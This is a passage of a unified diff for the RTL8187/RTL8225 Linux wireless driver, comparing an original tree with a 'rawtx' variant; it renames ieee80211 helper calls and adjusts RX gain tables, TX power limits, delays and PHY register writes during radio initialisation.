ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225.h rtl8187_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_orig/beta-8187/r8180_rtl8225.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225.h 2007-06-08 23:30:29.000000000 +0200 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_orig/beta-8187/r8180_rtl8225z2.c rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_orig/beta-8187/r8180_rtl8225z2.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_rtl8225z2.c 2007-06-08 23:30:33.000000000 +0200 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 0 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ write_rtl8225(dev, 0, 0x1b7); - + /* reg 8 pg 1 = 23*/ if( read_rtl8225(dev, 8) != 0x588) vz2 = 0; - - else /* reg 9 pg 1 = 24 */ + + else /* reg 9 pg 1 = 24 */ if( read_rtl8225(dev, 9) != 0x700) vz2 = 0; - - /* sw back to pg 0 */ + + /* sw back to pg 0 */ write_rtl8225(dev, 0, 0xb7); return vz2; - + } #if 0 void rtl8225_rf_close(struct net_device *dev) { - write_rtl8225(dev, 0x4, 0x1f); - + write_rtl8225(dev, 0x4, 0x1f); + force_pci_posting(dev); mdelay(1); - + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_OFF); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_OFF); } @@ -380,24 +404,24 @@ short rtl8225_rf_set_sens(struct net_device *dev, short sens) { if (sens <0 || sens > 6) return -1; - + if(sens > 4) write_rtl8225(dev, 0x0c, 0x850); - else + else write_rtl8225(dev, 0x0c, 0x50); sens= 6-sens; rtl8225_set_gain(dev, sens); - + write_phy_cck(dev, 0x41, rtl8225_threshold[sens]); return 0; - + } #endif void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + // int GainIdx; // int GainSetting; int i; @@ -406,44 +430,47 @@ u8 max_cck_power_level; //u8 min_cck_power_level; u8 max_ofdm_power_level; - u8 min_ofdm_power_level; + u8 min_ofdm_power_level; u8 cck_power_level = 0xff & priv->chtxpwr[ch]; u8 ofdm_power_level = 0xff & priv->chtxpwr_ofdm[ch]; - - + + max_cck_power_level = 15; //min_cck_power_level = 0; max_ofdm_power_level = 25; // 12 -> 25 min_ofdm_power_level = 10; - + /* CCK power setting */ if(cck_power_level > max_cck_power_level) + { cck_power_level = max_cck_power_level; - + priv->chtxpwr[ch] = max_cck_power_level; + } + cck_power_level += priv->cck_txpwr_base; - + if(cck_power_level > 35) cck_power_level = 35; - - if(ch == 14) + + if(ch == 14) cck_power_table = rtl8225z2_tx_power_cck_ch14; - else + else cck_power_table = rtl8225z2_tx_power_cck; - - + + for(i=0;i<8;i++){ - + power = cck_power_table[i]; write_phy_cck(dev, 0x44 + i, power); } - + //write_nic_byte(dev, TX_GAIN_CCK, power); //2005.11.17, write_nic_byte(dev, TX_GAIN_CCK, ZEBRA2_CCK_OFDM_GAIN_SETTING[cck_power_level]); - + force_pci_posting(dev); mdelay(1); - + /* OFDM power setting */ // Old: // if(ofdm_power_level > max_ofdm_power_level) @@ -454,26 +481,26 @@ ofdm_power_level = max_ofdm_power_level; else ofdm_power_level += min_ofdm_power_level; - + ofdm_power_level += priv->ofdm_txpwr_base; - + if(ofdm_power_level > 35) ofdm_power_level = 35; - + rtl8185_set_anaparam2(dev,RTL8225_ANAPARAM2_ON); - + write_phy_ofdm(dev,2,0x42); write_phy_ofdm(dev,5,0); write_phy_ofdm(dev,6,0x40); write_phy_ofdm(dev,7,0); - write_phy_ofdm(dev,8,0x40); - + write_phy_ofdm(dev,8,0x40); + //write_nic_byte(dev, TX_GAIN_OFDM, ofdm_power_level); //2005.11.17, write_nic_byte(dev, TX_GAIN_OFDM, ZEBRA2_CCK_OFDM_GAIN_SETTING[ofdm_power_level]); - + force_pci_posting(dev); mdelay(1); //write_nic_byte(dev, TX_AGC_CONTROL,4); @@ -483,39 +510,39 @@ void rtl8225_set_mode(struct net_device *dev, short modeb) { write_phy_ofdm(dev, 0x15, (modeb ? 0x0 : 0x40)); - write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); + write_phy_ofdm(dev, 0x17, (modeb ? 0x0 : 0x40)); } #endif void rtl8225z2_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; - + rtl8225z2_SetTXPowerLevel(dev, ch); - + write_rtl8225(dev, 0x7, rtl8225_chan[ch]); - + force_pci_posting(dev); mdelay(10); - + write_nic_byte(dev,SIFS,0x22);// SIFS: 0x22 - + if(gset) - write_nic_byte(dev,DIFS,20); //DIFS: 20 + write_nic_byte(dev,DIFS,20); //DIFS: 20 else - write_nic_byte(dev,DIFS,0x24); //DIFS: 36 - + write_nic_byte(dev,DIFS,0x24); //DIFS: 36 + if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 - + else write_nic_byte(dev,SLOT,0x14); //SLOT: 20 (0x14) - - + + if(gset){ write_nic_byte(dev,EIFS,91 - 20); // EIFS: 91 (0x5B) write_nic_byte(dev,CW_VAL,0x73); //CW VALUE: 0x37 @@ -529,68 +556,68 @@ } #if 0 -void rtl8225_host_pci_init(struct net_device *dev) +void rtl8225_host_pci_init(struct net_device *dev) { write_nic_word(dev, RFPinsOutput, 0x480); - + rtl8185_rf_pins_enable(dev); - + //if(priv->card_8185 == 2 && priv->enable_gpio0 ) /* version D */ //write_nic_word(dev, RFPinsSelect, 0x88); //else write_nic_word(dev, RFPinsSelect, 0x88 | SW_CONTROL_GPIO); /* 0x488 | SW_CONTROL_GPIO */ - + write_nic_byte(dev, GP_ENABLE, 0); - + force_pci_posting(dev); mdelay(200); - + write_nic_word(dev, GP_ENABLE, 0xff & (~(1<<6))); /* bit 6 is for RF on/off detection */ - + } -void rtl8225_host_usb_init(struct net_device *dev) +void rtl8225_host_usb_init(struct net_device *dev) { write_nic_byte(dev,RFPinsSelect+1,0); write_nic_byte(dev,GPIO,0); - + write_nic_byte_E(dev,0x53,read_nic_byte_E(dev,0x53) | (1<<7)); - + write_nic_byte(dev,RFPinsSelect+1,4); write_nic_byte(dev,GPIO,0x20); write_nic_byte(dev,GP_ENABLE,0); - - /* Config BB & RF */ + + /* Config BB & RF */ write_nic_word(dev, RFPinsOutput, 0x80); write_nic_word(dev, RFPinsSelect, 0x80); write_nic_word(dev, RFPinsEnable, 0x80); - + mdelay(100); - mdelay(1000); + mdelay(1000); } #endif -void rtl8225z2_rf_init(struct net_device *dev) +void rtl8225z2_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; u32 data,addr; - + priv->chan = channel; rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_type == USB) rtl8225_host_usb_init(dev); @@ -598,42 +625,42 @@ rtl8225_host_pci_init(dev); write_nic_dword(dev, RF_TIMING, 0x000a8008); - + brsr = read_nic_word(dev, BRSR); - - write_nic_word(dev, BRSR, 0xffff); + + write_nic_word(dev, BRSR, 0xffff); write_nic_dword(dev, RF_PARA, 0x100044); - + #if 1 //0->1 rtl8180_set_mode(dev, EPROM_CMD_CONFIG); write_nic_byte(dev, CONFIG3, 0x44); rtl8180_set_mode(dev, EPROM_CMD_NORMAL); #endif - - + + rtl8185_rf_pins_enable(dev); // mdelay(1000); write_rtl8225(dev, 0x0, 0x2bf); mdelay(1); - - + + write_rtl8225(dev, 0x1, 0xee0); mdelay(1); write_rtl8225(dev, 0x2, 0x44d); mdelay(1); write_rtl8225(dev, 0x3, 0x441); mdelay(1); - + write_rtl8225(dev, 0x4, 0x8c3);mdelay(1); - - - + + + write_rtl8225(dev, 0x5, 0xc72);mdelay(1); // } - + write_rtl8225(dev, 0x6, 0xe6); mdelay(1); write_rtl8225(dev, 0x7, ((priv->card_type == USB)? 0x82a : rtl8225_chan[channel])); mdelay(1); @@ -653,28 +680,28 @@ write_rtl8225(dev, 0xe, 0x2b); mdelay(1); - write_rtl8225(dev, 0xf, 0x114); - - + write_rtl8225(dev, 0xf, 0x114); + + mdelay(100); - - + + //if(priv->card_type != USB) /* maybe not needed even for 8185 */ -// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); - +// write_rtl8225(dev, 0x7, rtl8225_chan[channel]); + write_rtl8225(dev, 0x0, 0x1b7); - + for(i=0;i<95;i++){ write_rtl8225(dev, 0x1, (u8)(i+1)); - + #if 0 - if(priv->phy_ver == 1) + if(priv->phy_ver == 1) /* version A */ write_rtl8225(dev, 0x2, rtl8225a_rxgain[i]); else #endif /* version B & C & D*/ - + write_rtl8225(dev, 0x2, rtl8225z2_rxgain[i]); } write_rtl8225(dev, 0x3, 0x80); @@ -683,16 +710,16 @@ write_rtl8225(dev, 0x0, 0xb7); write_rtl8225(dev, 0x2, 0xc4d); - + if(priv->card_type == USB){ // force_pci_posting(dev); mdelay(200); - + write_rtl8225(dev, 0x2, 0x44d); - + // force_pci_posting(dev); mdelay(100); - + }//End of if(priv->card_type == USB) /* FIXME!! rtl8187 we have to check if calibrarion * is successful and eventually cal. again (repeat @@ -713,23 +740,23 @@ } } //force_pci_posting(dev); - - mdelay(200); //200 for 8187 - - + + mdelay(200); //200 for 8187 + + // //if(priv->card_type != USB){ // write_rtl8225(dev, 0x2, 0x44d); // write_rtl8225(dev, 0x7, rtl8225_chan[channel]); // write_rtl8225(dev, 0x2, 0x47d); -// +// // force_pci_posting(dev); // mdelay(100); -// +// // write_rtl8225(dev, 0x2, 0x44d); // //} - - write_rtl8225(dev, 0x0, 0x2bf); - + + write_rtl8225(dev, 0x0, 0x2bf); + if(priv->card_type != USB) rtl8185_rf_pins_enable(dev); //set up ZEBRA AGC table, 2005.11.17, @@ -744,20 +771,20 @@ mdelay(1); } -#if 0 +#if 0 for(i=0;i<128;i++){ write_phy_ofdm(dev, 0xb, rtl8225_agc[i]); - - mdelay(1); + + mdelay(1); write_phy_ofdm(dev, 0xa, (u8)i+ 0x80); - - mdelay(1); + + mdelay(1); } #endif - + force_pci_posting(dev); mdelay(1); - + write_phy_ofdm(dev, 0x0, 0x1); mdelay(1); write_phy_ofdm(dev, 0x1, 0x2); mdelay(1); write_phy_ofdm(dev, 0x2, ((priv->card_type == USB)? 0x42 : 0x62)); mdelay(1); @@ -771,20 +798,20 @@ write_phy_ofdm(dev, 0xa, 0x8); mdelay(1); - //write_phy_ofdm(dev, 0x18, 0xef); + //write_phy_ofdm(dev, 0x18, 0xef); // } //} write_phy_ofdm(dev, 0xb, 0x80); mdelay(1); write_phy_ofdm(dev, 0xc, 0x1);mdelay(1); - + //if(priv->card_type != USB) - write_phy_ofdm(dev, 0xd, 0x43); - + write_phy_ofdm(dev, 0xd, 0x43); + write_phy_ofdm(dev, 0xe, 0xd3);mdelay(1); - + #if 0 if(priv->card_8185 == 1){ if(priv->card_8185_Bversion) @@ -796,17 +823,17 @@ write_phy_ofdm(dev, 0xf, 0x38);mdelay(1); /*ver D & 8187*/ // } - + // if(priv->card_8185 == 1 && priv->card_8185_Bversion) // write_phy_ofdm(dev, 0x10, 0x04);/*ver B*/ // else write_phy_ofdm(dev, 0x10, 0x84);mdelay(1); /*ver C & D & 8187*/ - + write_phy_ofdm(dev, 0x11, 0x07);mdelay(1); /*agc resp time 700*/ - + // if(priv->card_8185 == 2){ /* Ver D & 8187*/ write_phy_ofdm(dev, 0x12, 0x20);mdelay(1); @@ -824,47 +851,46 @@ write_phy_ofdm(dev, 0x15, 0x40); mdelay(1); write_phy_ofdm(dev, 0x16, 0x0); mdelay(1); write_phy_ofdm(dev, 0x17, 0x40); mdelay(1); - + // if (priv->card_type == USB) // write_phy_ofdm(dev, 0x18, 0xef); - + write_phy_ofdm(dev, 0x18, 0xef);mdelay(1); - + write_phy_ofdm(dev, 0x19, 0x19); mdelay(1); write_phy_ofdm(dev, 0x1a, 0x20); mdelay(1); write_phy_ofdm(dev, 0x1b, 0x15);mdelay(1); - + write_phy_ofdm(dev, 0x1c, 0x4);mdelay(1); write_phy_ofdm(dev, 0x1d, 0xc5);mdelay(1); //2005.11.17, - + write_phy_ofdm(dev, 0x1e, 0x95);mdelay(1); write_phy_ofdm(dev, 0x1f, 0x75); mdelay(1); // } - + write_phy_ofdm(dev, 0x20, 0x1f);mdelay(1); write_phy_ofdm(dev, 0x21, 0x17);mdelay(1); - + write_phy_ofdm(dev, 0x22, 0x16);mdelay(1); // if(priv->card_type != USB) write_phy_ofdm(dev, 0x23, 0x80);mdelay(1); //FIXME maybe not needed // <> - + write_phy_ofdm(dev, 0x24, 0x46); mdelay(1); write_phy_ofdm(dev, 0x25, 0x00); mdelay(1); write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); write_phy_ofdm(dev, 0x27, 0x88); mdelay(1); - + // <> Set init. gain to m74dBm. - rtl8225z2_set_gain(dev,4); - + write_phy_cck(dev, 0x0, 0x98); mdelay(1); write_phy_cck(dev, 0x3, 0x20); mdelay(1); write_phy_cck(dev, 0x4, 0x7e); mdelay(1); @@ -875,6 +901,9 @@ /* Ver C & D & 8187*/ write_phy_cck(dev, 0x8, 0x2e);mdelay(1); + write_phy_cck(dev, 0x9, 0x11);mdelay(1); + write_phy_cck(dev, 0xa, 0x17);mdelay(1); + write_phy_cck(dev, 0xb, 0x11);mdelay(1); write_phy_cck(dev, 0x10, ((priv->card_type == USB) ? 0x9b: 0x93)); mdelay(1); write_phy_cck(dev, 0x11, 0x88); mdelay(1); @@ -885,52 +914,59 @@ else #endif write_phy_cck(dev, 0x13, 0xd0); /* Ver C & D & 8187*/ - - write_phy_cck(dev, 0x19, 0x0); - write_phy_cck(dev, 0x1a, 0xa0); - write_phy_cck(dev, 0x1b, 0x8); - write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ - - write_phy_cck(dev, 0x41, 0x8d);mdelay(1); - +// write_phy_cck(dev, 0x19, 0x0); +// write_phy_cck(dev, 0x1a, 0xa0); +// write_phy_cck(dev, 0x1b, 0x8); +// write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ + write_phy_cck(dev, 0x19, 0x0); mdelay(1); + write_phy_cck(dev, 0x1a, 0xa0); mdelay(1); + write_phy_cck(dev, 0x1b, 0x8); mdelay(1); + write_phy_cck(dev, 0x1d, 0x0); mdelay(1); + write_phy_cck(dev, 0x40, 0x86); /* CCK Carrier Sense Threshold */ mdelay(1); + write_phy_cck(dev, 0x41, 0x9d); mdelay(1); + + +// write_phy_cck(dev, 0x41, 0x8d);mdelay(1); + + write_phy_cck(dev, 0x42, 0x15); mdelay(1); write_phy_cck(dev, 0x43, 0x18); mdelay(1); - - + + write_phy_cck(dev, 0x44, 0x36); mdelay(1); write_phy_cck(dev, 0x45, 0x35); mdelay(1); write_phy_cck(dev, 0x46, 0x2e); mdelay(1); write_phy_cck(dev, 0x47, 0x25); mdelay(1); write_phy_cck(dev, 0x48, 0x1c); mdelay(1); write_phy_cck(dev, 0x49, 0x12); mdelay(1); - write_phy_cck(dev, 0x4a, 0x9); mdelay(1); - write_phy_cck(dev, 0x4b, 0x4); mdelay(1); + write_phy_cck(dev, 0x4a, 0x09); mdelay(1); + write_phy_cck(dev, 0x4b, 0x04); mdelay(1); write_phy_cck(dev, 0x4c, 0x5);mdelay(1); write_nic_byte(dev, 0x5b, 0x0d); mdelay(1); - + // <> // // TESTR 0xb 8187 // write_phy_cck(dev, 0x10, 0x93);// & 0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +979,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); 